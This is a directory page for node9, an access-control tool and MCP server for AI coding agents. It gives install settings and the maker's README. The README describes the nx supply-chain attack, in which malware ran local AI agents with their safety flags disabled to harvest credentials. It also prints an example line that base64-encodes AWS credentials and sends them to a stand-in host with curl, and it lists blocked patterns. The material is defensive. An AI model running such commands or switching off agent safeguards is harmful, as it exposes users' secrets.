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PopNx MCPMCP servers for people who use AI · explained in plain words

node9

by node9-aiversion 2.26.2i★ –iRuns on your computer
Registry nameio.github.node9-ai/node9

Install

Overview

Description from the maker (original English)

Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

  • Connection: Runs on your computer
  • Transport: stdio
  • Category: Other

Install

Pick the AI app you use, then copy the settings.

Before you install

  • Basic checks: 1 of 1 passed
  • Runs on your computer with your user’s permissions (files, network, apps).
  • The registry lists no key to fill in.

You need

  • npmNode.js installed (for the npx command)

Which app do you use?

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "node9": {
      "command": "npx",
      "args": [
        "-y",
        "node9-ai",
        "mcp-server"
      ]
    }
  }
}

Run this in your terminal

claude mcp add node9 -- npx -y node9-ai mcp-server

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "node9": {
      "command": "npx",
      "args": [
        "-y",
        "node9-ai",
        "mcp-server"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "node9": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "node9-ai",
        "mcp-server"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 6, 2026

  • ✓ Pass

    Maker matches the repo

    The registry name was verified with the GitHub account node9-ai, which owns the repo

  • … Not checked yet

    Still maintained

    We have not read this repo from GitHub yet

  • … Not checked yet

    Has a licence

    We have not read this repo from GitHub yet

  • – Not applicable

    Endpoint responds

    This one runs on your computer; there is no internet endpoint

  • – Not applicable

    Sign-in with OAuth

    Runs on your computer and uses local settings instead

  • … Not checked yet

    No hidden instructions in tool descriptions

    Runs on your computer; we can only read tool lists from internet endpoints

Compared with others in Otheri

  • More stars than 0% of the other 32380 servers in this category
  • Published to the registry more recently than 52% of the other 32380 servers in this category
  • Basic checks equal to or better than 100% of the other 32380 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is node9 safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (2.26.2) reached the registry 38 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.

What can I use instead?

In the same category: Spec Driven Development, Remote Desktop Commander, Dechonet MCP

Alternatives

Servers in the same category from other makers, sorted by stars.

Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

Spec Driven Development

by formulahendry

MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.

Runs on your computer★ 440MITUpdated 14 months ago
Install

Remote Desktop Commander

by desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

Runs in the cloud★ 211Updated yesterday
Install

Dechonet MCP

by node-man

30 security tools for AI agents: phishing links, exposure maps, DNS, SSL, PQC, history, pivots.

Computer or cloudUpdated today
Install

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

🛡️ node9 Access control for AI agents Your AI agents can reach Slack, GitHub, email, and your database. node9 decides what they may do with each one.

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

What it looks like

A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

Install

brew tap node9-ai/node9 && brew install node9   # macOS / Linux

npm install -g node9-ai # any platform

Then, in any project:

node9            # first run: choose dashboard connection or local protection

node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run node9 setup to revisit setup, or node9 setup to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

`login` adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

NODE9: Action blocked by security policy.

INSTRUCTIONS:

  • Do NOT retry this exact command or attempt to bypass the rule.
  • Pivot to a non-destructive or read-only alternative.
  • Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

Verify it yourself

Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

npx node9-ai scan                                        # every past agent session on this machine

npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.

Credential jail~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shelldocs
Always-on rulesdestructive git, SQL without a WHERE, `curl \bash and unauthorised sudo`, with no configdocs
Secrets and PIIAWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote backdocs
Per-service shieldscurated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystemdocs
Inline reviewa held action asks you inside the agent conversation, or through a team approverdocs
Egress allowlistgate where a shell command may send data, off by defaultdocs
MCP gatewaywrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your backdocs
Sandboxrun an agent in a container with a kernel egress allowlist and scoped mountsdocs
Posture scorehow exposed this machine is, with the command that fixes each findingdocs
Repo scanningfind workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLIdocs
Session historyread what every agent already did on this machine, before node9 was installeddocs
Live monitor and reporta terminal dashboard, and a windowed summary of cost, tools, blocks and blast radiusdocs
Skills pinningSHA-256 verification of installed Claude skills and plugins between sessionsdocs
Canary credentialsplanted fake keys that prove an exfiltration attempt happeneddocs

| Python SDK | govern any Python agent, not only the CLIs | [docs](https://

Only the beginning is shown; read the rest in the repo

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